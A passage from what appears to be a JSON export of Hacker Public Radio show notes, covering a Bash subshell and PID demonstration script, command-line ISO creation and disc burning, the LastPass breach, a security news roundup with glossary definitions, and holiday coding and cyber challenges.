                                                            \n

                                                            Processes are fairly lightweight entities in Unix/Linux. They can be\ncreated and destroyed quickly, with minimal overhead. I used to work\nwith Digital Equipment Corporation's OpenVMS operating system\nwhich also uses processes - but these are much more expensive to create\nand destroy, and therefore slow and less readily used!

                                                            \n

                                                            Bash pipelines, as discussed, use subshells. The description\nin the Bash man page says:

                                                            \n
                                                            \n

                                                            Each command in a multi-command pipeline, where pipes are created, is\nexecuted in a subshell, which is a separate process.

                                                            \n
                                                            \n

                                                            So a subshell in this context is basically another child\nprocess of the main login process (or other parent process), running\nBash.

                                                            \n

                                                            Processes (subshells) can be created in other ways. One is to place a\ncollection of commands in parentheses. These can be simple Bash\ncommands, separated by semi-colons, or pipelines. For example:

                                                            \n
                                                            $ (echo "World"; echo "Hello") | sort\nHello\nWorld
                                                            \n

                                                            Here the strings \"World\" and \"Hello\", each\nfollowed by a newline are created in a subshell and written to standard\noutput. These strings are piped to sort and the end result\nis as shown.

                                                            \n

                                                            Note that this is different from this example:

                                                            \n
                                                            $ echo "World"; echo "Hello" | sort\nWorld\nHello
                                                            \n

                                                            In this case \"World\" is written in a separate command,\nthen \"Hello\" is written to a pipeline. All\nsort sees is the output from the second echo,\nwhich explains the output.

                                                            \n

                                                            Each process has a unique numeric id value (the process id\nor PID). These can be seen with tools like ps or\nhtop. Each process holds its own PID in a Bash variable\ncalled BASHPID.

                                                            \n

                                                            Knowing all of this I decided to modify Ken's script from show\n3962 to show the processes being created - mainly for my interest,\nto get a better understanding of how Bash works. I am including it here\nin case it may be of interest to others.

                                                            \n
                                                            #!/bin/bash\n\nseries_url="https://hackerpublicradio.org/hpr_mp3_rss.php?series=42&full=1&gomax=1"\ndownload_dir="./"\n\npidfile="/tmp/hpr3962.sh.out"\ncount=0\n\necho "Starting PID is $BASHPID" > $pidfile\n\n(echo "[1] $BASHPID" >> "$pidfile"; wget -q "${series_url}" -O -) |\\n    (echo "[2] $BASHPID" >> "$pidfile"; xmlstarlet sel -T -t -m 'rss/channel/item' -v 'concat(enclosure/@url, "→", title)' -n -) |\\n    (echo "[3] $BASHPID" >> "$pidfile"; sort) |\\n    while read -r episode; do\n\n        [ $count -le 1 ] && echo "[4] $BASHPID" >> "$pidfile"\n        ((count++))\n\n        url="$( echo "${episode}" | awk -F '→' '{print $1}' )"\n        ext="$( basename "${url}" )"\n        title="$( echo "${episode}" | awk -F '→' '{print $2}' | sed -e 's/[^A-Za-z0-9]/_/g' )"\n        #wget "${url}" -O "${download_dir}/${title}.${ext}"\n    done\n\necho "Final value of \$count = $count"\necho "Run 'cat $pidfile' to see the PID numbers"
                                                            \n

                                                            The point of doing this is to get information about the pipeline\nwhich feeds data into the while loop. I kept the rest\nintact but commented out the wget command.

                                                            \n

                                                            For each component of the pipeline I added an echo\ncommand and enclosed it and the original command in parentheses, thus\nmaking a multi-command process. The echo commands write a\nfixed number so you can tell which one is being executed, and it also\nwrites the contents of BASHPID.

                                                            \n

                                                            The whole thing writes to a temporary file\n/tmp/hpr3962.sh.out which can be examined once the script\nhas finished.

                                                            \n

                                                            When the script is run it writes the following:

                                                            \n
                                                            $ ./hpr3962.sh\nFinal value of $count = 0\nRun 'cat /tmp/hpr3962.sh.out' to see the PID numbers
                                                            \n

                                                            The file mentioned contains:

                                                            \n
                                                            Starting PID is 80255\n[1] 80256\n[2] 80257\n[3] 80258\n[4] 80259\n[4] 80259
                                                            \n

                                                            Note that the PID values are incremental. There is no guarantee that\nthis will be so. It will depend on whatever else the machine is\ndoing.

                                                            \n

                                                            Message number 4 is the same for every loop iteration, so I stopped\nit being written after two instances.

                                                            \n

                                                            The initial PID is the process running the script, not the login\n(parent) PID. You can see that each command in the pipeline runs in a\nseparate process (subshell), including the loop.

                                                            \n

                                                            Given that a standard pipeline generates a process per command, I was\nslightly surprised that the PID numbers were consecutive. It seems that\nBash optimises things so that only one process is run for each element\nof the pipe. I expect that it would be possible for more processes to be\ncreated by having pipelines within these parenthesised lists, but I\nhaven't tried it!

                                                            \n

                                                            I found this test script quite revealing. I hope you find it useful\ntoo.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Bash pipelines:\n
                                                                \n
                                                              • GNU\nBash manual: 3.2.3 Pipelines
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Bash loops:\n
                                                                \n
                                                              • GNU\nBash manual: 3.2.5.1 Looping Constructs
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • Bash process substitution:\n
                                                                \n
                                                              • GNU\nBash manual: 3.5.6 Process Substitution
                                                              • \n
                                                            • \n
                                                            \n
                                                              \n
                                                            • HPR shows referenced:\n
                                                                \n
                                                              • hpr2045 ::\nSome other Bash tips
                                                              • \n
                                                              • hpr2699 ::\nBash Tips - 15
                                                              • \n
                                                              • hpr3962 ::\nIt's your data
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,loop,process,shell","version":0,"downloads":0,"valid":1}, {"id":3986,"date":"2023-11-13","title":"Optical media is not dead","duration":435,"summary":"Archer72 shows command line options for creating and writing iso files","notes":"

                                                            Brought up by Klaatu\non GnuWorldOrder.info

                                                            \n

                                                            Media size

                                                            \n

                                                            4.7Gb DVD - Actual capacity: 4.377Gb

                                                            \n

                                                            What is the\nactual storage capacity of a dvd disc

                                                            \n

                                                            A disc with a 25GB capacity is the equivalent of 23.28 gigabytes\nNormally rated at 50GB, in practice they can record about 46.57GB of\ndata

                                                            \n

                                                            What is the\nmaximum capacity of a blu ray disc

                                                            \n

                                                            Generate ISO image from directory

                                                            \n
                                                            genisoimage -U -R -allow-lowercase -allow-multidot -o mydvd.iso "$1"
                                                            \n

                                                            Alternative is mkisofs

                                                            \n
                                                            -U\n\nAllows "untranslated" filenames, completely violating the ISO9660 standards described above. Enables the following flags: -d -l -N -allow-leading-dots -relaxed-filenames -allow-lowercase -allow-multidot -no-iso-translate. Allows more than one `.' character in the filename, as well as mixed-case filenames. This is useful on HP-UX, where the built-in cdfs filesystem does not recognize any extensions. Use with extreme caution.\n\n-R\n\nGenerate SUSP and RR records using the Rock Ridge protocol to further describe the files on the ISO9660 filesystem.\n\n[Wikipedia - ISO 9660](https://en.wikipedia.org/wiki/ISO_9660#SUSP "Wikipedia - ISO 9660")
                                                            \n

                                                            Corrected command

                                                            \n
                                                            genisoimage -R -o mydvd.iso "$1"
                                                            \n

                                                            Burning data to a DVD or Blu-ray

                                                            \n

                                                            Note:

                                                            \n

                                                            Make sure that the medium is not mounted when you begin to write to\nit. Mounting may happen automatically if the medium contains a readable\nfile system. In the best case, it will prevent the burn programs from\nusing the burner device. In the worst case, there will be misburns\nbecause read operations disturbed the drive. So if in doubt, do:

                                                            \n
                                                            umount /dev/sr0
                                                            \n

                                                            growisofs has a small bug with blank BD-R media. It issues an error\nmessage after the burning is complete. Programs like k3b then believe\nthe whole burn run failed. To prevent this, either format the blank BD-R\nby dvd+rw-format /dev/sr0 before submitting it to growisofs or use\ngrowisofs option

                                                            \n
                                                            -use-the-force-luke=spare:none
                                                            \n

                                                            Archwiki - Optical disk\nburning

                                                            \n

                                                            Burning an ISO image to\nCD, DVD, or BD

                                                            \nTo\nburn a readily prepared ISO image file isoimage.iso onto an optical\nmedium, run for CD:\n
                                                            cdrecord -v -sao dev=/dev/sr0 isoimage.iso
                                                            \n

                                                            and for DVD or BD:

                                                            \n
                                                            growisofs -dvd-compat -Z /dev/sr0=isoimage.iso
                                                            \n

                                                            for CD, DVD, BD:

                                                            \n
                                                            xorriso -as cdrecord -v dev=/dev/sr0 -dao isoimage.iso
                                                            \n

                                                            Other reading

                                                            \n

                                                            Archwiki - Optical disk\ndrive

                                                            \n

                                                            Archwiki - Optical disk\ndrive

                                                            \n

                                                            Debian - Gensisoimage man\npage

                                                            \n

                                                            Debian - Gensisoimage man\npage

                                                            \n

                                                            Debian wiki -\ngenisoimage and xorrisofs

                                                            \n

                                                            Debian wiki

                                                            \n

                                                            Archiving data on Blu-ray\ndiscs

                                                            \n

                                                            Archiving data

                                                            \nMount\nan ISO file and Burning it to CD-R/DVD-R/BluRay in Linux\n

                                                            Mount an ISO file and\nBurning

                                                            \nWhat\nis the size capacity of my DVD, Dual Layer DVD or Blu-ray disc?\n

                                                            What is the size capacity of\nmy DVD

                                                            \n

                                                            Wikipedia ISO9660

                                                            \n

                                                            Wikipedia ISO9660

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Command line, Create ISO, Burn ISO, Optical media, DVD, CD, Blu-ray","version":0,"downloads":0,"valid":1}, {"id":3987,"date":"2023-11-14","title":"The Grim Dawn","duration":2391,"summary":"Sgoti rambles about a video game called Grim Dawn.","notes":"
                                                              \n
                                                            • Source: Action\nrole-playing game.

                                                            • \n
                                                            • Source: Grim\nDawn.

                                                            • \n
                                                            • Supporting Source: Grim Dawn Game\nGuide.

                                                            • \n
                                                            • Supporting Source: Steam page\nfor Grim Dawn.

                                                            • \n
                                                            • Supporting Source: Grim Dawn Tools (Third party\nsite).

                                                            • \n
                                                            • Supporting Source: Soldier\nClass. Soldiers readily charge into the carnage and unleash crushing\nmight upon their foes. Their physical prowess is unmatched and their\nability to survive through the most brutal conflicts makes them an\nexcellent choice for defense-oriented players.

                                                            • \n
                                                            • Source: Diablo 4

                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Grim Dawn, ARPG, Diablo 4, Video Games","version":0,"downloads":0,"valid":1}, {"id":3988,"date":"2023-11-15","title":"Beeper.com","duration":750,"summary":"operat0r talks about Beeper dot com a multi chat client","notes":"

                                                            I talk about Beeper dot com a multi chat client

                                                            \n

                                                            Beeper is a universal messaging app that lets you chat with anyone on\nany chat app, including Whatsapp, iMessage, Telegram and 12 other\nnetworks.

                                                            \n

                                                            Links

                                                            \n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"chat,messaging,mobile","version":0,"downloads":0,"valid":1}, {"id":3989,"date":"2023-11-16","title":"LastPass Security Update 1 November 2023","duration":553,"summary":"LastPass was hacked, what should you do?","notes":"

                                                            In 2022, LastPass disclosed that it had been hacked, and I think by\nnow just about everyone has heard about it. Now we have evidence that\npassword vaults have been hacked. So what does this mean, and what\nshould you do?

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://krebsonsecurity.com/2023/09/experts-fear-crooks-are-cracking-keys-stolen-in-lastpass-breach/
                                                            • \n
                                                            • https://www.zwilnik.com/security-and-privacy/lastpass-hacked-what-does-this-mean/
                                                            • \n
                                                            • https://wtop.com/tech/2023/01/data-doctors-should-i-stop-using-lastpass-for-password-management/
                                                            • \n
                                                            • http://hackerpublicradio.org/eps.php?id=1810
                                                            • \n
                                                            \n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"LastPass, password vault","version":0,"downloads":0,"valid":1}, {"id":3990,"date":"2023-11-17","title":"Playing Alpha Centauri, Part 2","duration":1221,"summary":"Part 2 of tips on playing Alpha Centauri","notes":"

                                                            This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others. This episode is all\nabout Social Engineering choices.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.palain.com/gaming/sid-meiers-alpha-centauri/playing-alpha-centauri-2/
                                                            • \n
                                                            \n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Alpha Centauri","version":0,"downloads":0,"valid":1}, {"id":3991,"date":"2023-11-20","title":"YOU ARE A PIRATE ","duration":1539,"summary":"I rant I think about piracy ","notes":"

                                                            XGP-save-extractor

                                                            \n

                                                            Python script to extract/backup savefiles out of Xbox Game Pass for\nPC games.

                                                            \n

                                                            When run, the script produces a ZIP file for each supported game save\nfound in the system.

                                                            \n

                                                            In most cases the files in the ZIP can be copied to the save\ndirectory of the Steam/Epic version of the game. To find out the save\nfile location, check PCGamingWiki.

                                                            \n

                                                            https://github.com/Z1ni/XGP-save-extractor/releases

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking, piracy ","version":0,"downloads":0,"valid":1}, {"id":3992,"date":"2023-11-21","title":"Test recording on a wireless mic","duration":223,"summary":"Archer72 tests out a wireless mic with a USB C receiver","notes":"

                                                            LEKATO 2\nPack Wireless Microphone with Charging Case

                                                            \n

                                                            https://www.amazon.com/gp/product/B0C4SNT6QK

                                                            \n
                                                              \n
                                                            • USB C
                                                            • \n
                                                            • Two microphones in a charging case
                                                            • \n
                                                            • Charge phone and use the receiver simultaneously
                                                            • \n
                                                            \n

                                                            Claims

                                                            \n
                                                              \n
                                                            • 75 ft. transmission range
                                                            • \n
                                                            • Wireless Mic can work continuously for 5 hours, and the charging box\ncan quickly charge the device 4 times. The total usage time reaches 25\nhours
                                                            • \n
                                                            \n

                                                            Axet Audio recorder on\nF-Droid

                                                            \n

                                                            https://f-droid.org/packages/com.github.axet.audiorecorder

                                                            \n
                                                              \n
                                                            • Works to record stereo with this mic set
                                                            • \n
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Recording, Microphone, Wireless, USB 'C', F-droid, Android App","version":0,"downloads":0,"valid":1}, {"id":3993,"date":"2023-11-22","title":"z80 membership card","duration":934,"summary":"review of a kit","notes":"
                                                              \n
                                                            • intro\n
                                                            • \n
                                                            • lee hart\n
                                                                \n
                                                              • electrical engineer
                                                              • \n
                                                              • was there at the beginning of the computer revolution
                                                              • \n
                                                              • life long love of electric vehicles
                                                              • \n
                                                            • \n
                                                            • the kit\n
                                                                \n
                                                              • piece of art
                                                              • \n
                                                              • z80 membership, minimum computer
                                                              • \n
                                                              • front panel gives self contained system
                                                              • \n
                                                              • boards, all parts and altoid tin
                                                              • \n
                                                              • great documentation, schematics, assembly guide and getting\nstarted
                                                              • \n
                                                            • \n
                                                            • the assembly\n
                                                                \n
                                                              • great instructions
                                                              • \n
                                                              • easy to solder
                                                              • \n
                                                              • a few tricks to get the boards to fit in the tin
                                                              • \n
                                                              • i made a dedicated serial cable by modifying ftdi cable
                                                              • \n
                                                              • i made a battery pack
                                                              • \n
                                                            • \n
                                                            • usage\n
                                                                \n
                                                              • front panel takes a bit of practice to use (locations of keys)
                                                              • \n
                                                              • found a z80 assembly language tutorial, hand assembly
                                                              • \n
                                                              • portable z80 machine to learn
                                                              • \n
                                                            • \n
                                                            • take away\n
                                                                \n
                                                              • excellent kit
                                                              • \n
                                                              • if your looking for a gift, many to choose from
                                                              • \n
                                                              • excellent quality
                                                              • \n
                                                            • \n
                                                            \n

                                                            01 membership card
                                                            \n
                                                            Click the\nthumbnail to see the full-sized image

                                                            \n

                                                            02 membership card back
                                                            \n
                                                            Click the\nthumbnail to see the full-sized image

                                                            \n

                                                            03 front panel card
                                                            \n
                                                            Click the\nthumbnail to see the full-sized image

                                                            \n

                                                            04 front card back
                                                            \n
                                                            Click the\nthumbnail to see the full-sized image

                                                            \n

                                                            05 assembled
                                                            \n
                                                            Click the thumbnail to\nsee the full-sized image

                                                            \n

                                                            06 in the can
                                                            \n
                                                            Click the thumbnail to\nsee the full-sized image

                                                            \n

                                                            07 things added
                                                            \n
                                                            Click the thumbnail\nto see the full-sized image

                                                            \n

                                                            08 fits inside
                                                            \n
                                                            Click the thumbnail\nto see the full-sized image

                                                            \n

                                                            09 compleat
                                                            \n
                                                            Click the thumbnail to\nsee the full-sized image

                                                            \n

                                                            10 docs
                                                            \n
                                                            Click the thumbnail to see\nthe full-sized image

                                                            \n","hostid":326,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"z80, retro computing","version":0,"downloads":0,"valid":1}, {"id":3994,"date":"2023-11-23","title":"Lastpass Response","duration":790,"summary":"I talk about lastpass","notes":"

                                                            I talk about LastPass.

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"security,computers,internet","version":0,"downloads":0,"valid":1}, {"id":3995,"date":"2023-11-24","title":"Creating Your Own Internet Radio Streaming Device","duration":570,"summary":"Claudio talks about a couple of streaming radio solutions to make your own internet radio device.","notes":"

                                                            aNONradio: https://anonradio.net
                                                            \nTildeRadio: https://tilderadio.org

                                                            \n

                                                            Volumio: https://volumio.com/
                                                            \nmoOde Audio: https://moodeaudio.org/

                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"moode,raspberrypi,audio,internetradio,streamingradio,multimedia,volumio,anonradio,tilderadio","version":0,"downloads":0,"valid":1}, {"id":3996,"date":"2023-11-27","title":"Holiday Challenges Series - Ep 1 - Advent of Code","duration":221,"summary":"Discussing challenges to help you enjoy the holiday season","notes":"

                                                            Holiday\nChallenges Series - Ep 1 - Advent of Code

                                                            \n

                                                            Since some of the information you are about to hear is time specific,\nI want to let you know that I am recording this near the end of November\nin 2023.

                                                            \n

                                                            Whichever holidays you celebrate this time of year, life generally\ngets busy and stressful.

                                                            \n

                                                            It could be shopping
                                                            \nor cooking
                                                            \nor cleaning
                                                            \nor school activities
                                                            \nor buying, assembling, wrapping, and delivering gifts
                                                            \nor planning time with family
                                                            \nor dealing with visiting family
                                                            \nor scheduling time off from work
                                                            \nor managing extra work while others have scheduled time off
                                                            \nor a whole plethora of other things.
                                                            \nThis time of year can be stressful.

                                                            \n

                                                            A few years ago, I discovered a fun activity, which challenged my\nmind and helped me focus and detach from the stress for a little while\neach day, through the month of December. It helped me manage the stress\nin an enjoyable way.

                                                            \n

                                                            Since then, I have found and tried several other similar activities,\nso I wanted to share a little about them with you for the next few\nepisodes so you can see what might work for you.

                                                            \n

                                                            The first I would like to share is called the Advent of Code\nChallenge (https://adventofcode.com/). In HPR episodes 2973 (https://hackerpublicradio.org/eps/hpr2973/index.html)\nand 3744 (https://hackerpublicradio.org/eps/hpr3744/index.html),\nDaniel Perrson shared some great details about this challenge. I\nencourage you to go review his episodes.

                                                            \n

                                                            But the TLDR (Or maybe the TLDL -- Too Long Didn't Listen?) for\nAdvent of Code is that it is a 25 day challenge which begins on December\n1. Once you register at adventofcode.com, Each day, you will be\npresented with a problem to solve and some sample data to use for\nverification that your program works. You can choose to use any\nprogramming language or application you desire produce the answer. Last\nyear, I used this to brush up on my Python skills. Others use Visual\nBasic, C (and all its variants), Rust, Go, etc. I have seen people use\nCobol, Fortran, and Pascal, or even Microsoft Excel. It is really up to\nyou. You are then presented a dataset which is unique to your login, and\nagainst which you run your code. When complete, you submit the answer\ncame up with on the adventofcode.com web site and they will tell you if\nyou are correct or not.

                                                            \n

                                                            If you are competitive (And REALLY GOOD) there is a Global\nLeaderboard. If you want to compete with a group of friends, you can\nbuild your own leaderboard and invite others to take part with you.

                                                            \n

                                                            There are tons of resources online, from youtube channels to reddit\n(https://www.reddit.com/r/adventofcode/), to Discord (https://discord.gg/tXJh262)

                                                            \n

                                                            So, if you are looking for a way to challenge your mind and detach\nfrom holiday stress, Advent of Code may be something you might try.

                                                            \n

                                                            If this is not your cup of tea, I will be sharing several other\noptions for holiday challenges in future episodes.

                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Advent of Code, holiday, challenge","version":0,"downloads":0,"valid":1}, {"id":3997,"date":"2023-11-28","title":"The Oh No! News.","duration":875,"summary":"Sgoti talks about Malware distributed via Google's Dynamic Ads and more.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good\nNews.

                                                            \n
                                                              \n
                                                            • TAGS: Oh No, News, Threat analysis, InfoSec, Google\nDynamic Search Ads
                                                            • \n
                                                            \n
                                                            \n

                                                            Threat analysis;\nyour attack surface.

                                                            \n
                                                              \n
                                                            • Source: Former\nNHS secretary found guilty of illegally accessing medical\nrecords
                                                              \n

                                                              \n
                                                                \n
                                                              • A former NHS employee has been found guilty and fined for illegally\naccessing the medical records of over 150 people.
                                                                \n
                                                              • \n
                                                              • Loretta Alborghetti, from Redditch, worked as a medical secretary\nwithin the Ophthalmology department at Worcestershire Acute Hospitals\nNHS Trust when she illegally accessed the records.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Supporting Source: Open\nStreet Map link to Redditch Worcestershire.
                                                              \n

                                                            • \n
                                                            • Source: NetSupport\nRAT Infections on the Rise. Targeting Government and Business\nSectors
                                                              \n

                                                              \n
                                                                \n
                                                              • While NetSupport Manager started off as a legitimate remote\nadministration tool for technical assistance and support, malicious\nactors have misappropriated the tool to their own advantage, using it as\na beachhead for subsequent attacks.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Beware:\nMalicious Google Ads Trick WinSCP Users into Installing\nMalware
                                                              \n

                                                              \n
                                                                \n
                                                              • The threat actors are believed to leverage Google's Dynamic Search\nAds (DSAs), which automatically generates ads based on a site's content\nto serve the malicious ads that take the victims to the infected\nsite.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Source: Trojanized\nPyCharm Software Version Delivered via Google Search Ads.
                                                              \n

                                                              \n
                                                                \n
                                                              • Victims who clicked on the ad were taken to a hacked web page with a\nlink to download the application, which turned out to install over a\ndozen different pieces of malware instead.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n

                                                            InfoSec; the language\nof security.

                                                            \n
                                                              \n
                                                            • Source: Why\nDefenders Should Embrace a Hacker Mindset
                                                              \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Additional Information.\n
                                                                \n
                                                              • What is a \"Data\nBreach\"? A data breach is a security violation, in which sensitive,\nprotected or confidential data is copied, transmitted, viewed, stolen,\naltered or used by an individual unauthorized to do so.
                                                                \n
                                                              • \n
                                                              • What is \"Malware\"?\nMalware (a portmanteau for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser's computer security and privacy.
                                                                \n
                                                              • \n
                                                              • What is a \"Payload\"?\nIn the context of a computer virus or worm, the payload is the portion\nof the malware which performs malicious action; deleting data, sending\nspam or encrypting data. In addition to the payload, such malware also\ntypically has overhead code aimed at simply spreading itself, or\navoiding detection.
                                                                \n
                                                              • \n
                                                              • What is \"Phishing\"?\nPhishing is a form of social engineering\nwhere attackers deceive people into revealing sensitive information or\ninstalling malware such as ransomware. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.
                                                                \n
                                                              • \n
                                                              • Social\nengineering (security) In the context of information security,\nsocial engineering is the psychological\nmanipulation of people into performing actions or divulging\nconfidential information. A type of confidence trick for the purpose of\ninformation gathering, fraud, or system access, it differs from a\ntraditional \"con\" in that it is often one of many steps in a more\ncomplex fraud scheme.
                                                                \n
                                                              • \n
                                                              • What is \"Information\nSecurity\" (InfoSec)? Information security, sometimes shortened to\nInfoSec, is the practice of protecting information by mitigating information risks. It\nis part of information risk\nmanagement.\n
                                                                  \n
                                                                • Information Security Attributes: Confidentiality, Integrity and Availability (C.I.A.).\nInformation Systems are composed in three main portions, hardware,\nsoftware and communications with the purpose to help identify and apply\ninformation security industry standards, as mechanisms of protection and\nprevention, at three levels or layers: physical, personal and\norganizational. Essentially, procedures or policies are implemented to\ntell administrators, users and operators how to use products to ensure\ninformation security within the organizations.
                                                                  \n
                                                                • \n
                                                              • \n
                                                              • What is \"Risk\nmanagement\"? Risk management is the identification, evaluation, and\nprioritization of risks followed by coordinated and economical\napplication of resources to minimize, monitor, and control the\nprobability or impact of unfortunate events or to maximize the\nrealization of opportunities.
                                                                \n
                                                              • \n
                                                              • What is a \"Vulnerability\"\n(computing)? Vulnerabilities are flaws in a computer system that\nweaken the overall security of the device/system. Vulnerabilities can be\nweaknesses in either the hardware itself, or the software that runs on\nthe hardware.
                                                                \n
                                                              • \n
                                                              • What is an \"Attack\nSurface\"? The attack surface of a software environment is the sum of\nthe different points (for \"attack vectors\") where an unauthorized user\n(the \"attacker\") can try to enter data to or extract data from an\nenvironment. Keeping the attack surface as small as possible is a basic\nsecurity measure.
                                                                \n
                                                              • \n
                                                              • What is an \"Attack\nVector\"? In computer security, an attack vector is a specific path,\nmethod, or scenario that can be exploited to break into an IT system,\nthus compromising its security. The term was derived from the\ncorresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.
                                                                \n
                                                              • \n
                                                              • What is\n\"Standardization\"? Standardization is the process of implementing\nand developing technical standards based on the consensus of different\nparties that include firms, users, interest groups, standards\norganizations and governments. Standardization can help maximize\ncompatibility, interoperability, safety, repeatability, or quality. It\ncan also facilitate a normalization of formerly custom processes.\n
                                                              • \n
                                                              • What is a \"Replay\nattack\"? A replay attack is a form of network attack in which valid\ndata transmission is maliciously or fraudulently repeated or delayed.\nAnother way of describing such an attack is: \"an attack on a security\nprotocol using a replay of messages from a different context into the\nintended (or original and expected) context, thereby fooling the honest\nparticipant(s) into thinking they have successfully completed the\nprotocol run.\"
                                                                \n
                                                              • \n
                                                              • What is a\n\"Man-in-the-middle attack\"? In cryptography and computer security, a\nman-in-the-middle, ..., attack is a cyberattack where the attacker\nsecretly relays and possibly alters the communications between two\nparties who believe that they are directly communicating with each\nother, as the attacker has inserted themselves between the two\nparties.
                                                                \n
                                                              • \n
                                                              • What is \"Transport Layer\nSecurity\" (TLS)? Transport Layer Security (TLS) is a cryptographic\nprotocol designed to provide communications security over a computer\nnetwork. The protocol is widely used in applications such as email,\ninstant messaging, and voice over IP, but its use in securing HTTPS\nremains the most publicly visible.
                                                                \n
                                                              • \n
                                                              • What is a \"Handshake\"\n(computing)?. In computing, a handshake is a signal between two\ndevices or programs, used to, e.g., authenticate, coordinate. An example\nis the handshaking between a hypervisor and an application in a guest\nvirtual machine.
                                                                \n
                                                              • \n
                                                              • What is Security\ntheater? The practice of taking security measures that are\nconsidered to provide the feeling of improved security while doing\nlittle or nothing to achieve it.
                                                                \n
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n\n","hostid":391,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"Oh No News, Threat analysis, InfoSec, Google Dynamic Search Ads","version":0,"downloads":0,"valid":1}, {"id":3998,"date":"2023-11-29","title":"Using open source OCR to digitize my mom's book","duration":1847,"summary":"How I used open source tools such as gphoto2 and the OCR software tesseract to digitize pages","notes":"

                                                            To improve the speed of my workflow, I wrote a bash script that uses the\nopen source programs gphoto2, tesseract,\ngrep and ImageMagick to digitize my mom's 338 page\nbook. Here is the link to the script:\nhttps://github.com/deltaray/ocr-script

                                                            \n","hostid":194,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ocr,opensource,grep,scripts,programming","version":0,"downloads":0,"valid":1}, {"id":3999,"date":"2023-11-30","title":"Holiday Challenges Series Ep 02 TryHackMe Advent of Cyber Challenge","duration":183,"summary":"Discussing the TryHackMe Advent of Cyber challenge to help you enjoy the holiday season","notes":"Holiday\nChallenges Series - Ep 2 - TryHackMe Advent of Cyber Challenge\n

                                                            Since some of the information you are about to hear is time specific,\nI want to let you know that I am recording this near the end of November\nin 2023.

                                                            \n

                                                            If you missed the first episode, which introduces this series, you\ncan go back and listen to HPR3996

                                                            \n

                                                            I have been using TryHackMe for several years, and I recommend it to\nall of my students. It is a great environment where people can get hands\non experience with technology that relates to cyber security, all from\nthe comfort of their browser and free year-round.

                                                            \n

                                                            The TryHackMe Advent of Cyber challenge is a free gamified\nenvironment which focuses on penetration testing, security\noperations/engineering, forensics/incident response, malware analysis,\nmachine learning, and more!

                                                            \n

                                                            This year's challenge opens on December 1, 2023 (Which is the reason\nwhy I am posting twice this week). Typically, the Advent of Cyber\nchallenge includes daily beginner-friendly exercises for people new to\ncybersecurity. These can consist of walkthroughs, video tutorials, and\nchallenges. There are also prizes available based on random drawings and\non participant success.

                                                            \n

                                                            Infosec personalities like John Hammond, Gerald Auger, InsiderPHD,\nand InfoSec Pat are featured in this year's challenge.

                                                            \n

                                                            You can play with last year's Advent of Cyber challenge by visiting\nhttps://tryhackme.com/room/adventofcyber4. It outlines\nthe overall story and shows all of the tasks last year's participants\nexperienced, including both offensive and defensive topics like: log\nanalysis, OSINT, scanning, brute force attacks, email analysis,\nCyberChef, blockchain smart contracts, malware analysis, memory\nforensics, packet analysis, web application hacking, and more!

                                                            \n

                                                            Everything can be done with a free account from within a browser.

                                                            \n

                                                            If you want to learn more about cybersecurity, transition your career\ninto infosec, or just have fun playing with cyber challenges, you can\ngive it a try by visiting tryhackme.com or https://tryhackme.com/r/christmas

                                                            \n

                                                            Please note: I am not affiliated with TryHackMe in any way, other\nthan having been a paying member for many years. Students and others who\nhave participated in previous year's Advent of Cyber challenges have\ntold me how much they enjoyed it and learned from it. Even though I have\nbeen an infosec practitioner for more years than I would like to admit,\nI also have enjoyed taking part in this challenge.

                                                            \n

                                                            If this is not for you, I will be sharing another option for a\nholiday challenge in my next episode.

                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Advent of Cyber, TryHackMe, Hands on, cyber, cybersecurity, infosec, holiday, challenge","version":0,"downloads":0,"valid":1}, {"id":4000,"date":"2023-12-01","title":"New Orleans","duration":957,"summary":"We visit the Big Easy.","notes":"

                                                            We get to visit New Orleans, and a bit of Louisiana, in this episode.\nOf course, we only scratched the surface, but that is true of most\ntravel when you think about it. We did see a few interesting things\nalong the way, and started to realize that this trip is not just about\nNASA sites, but also a lot of military history, which is also an\ninterest of mine.

                                                            \n

                                                            Links:

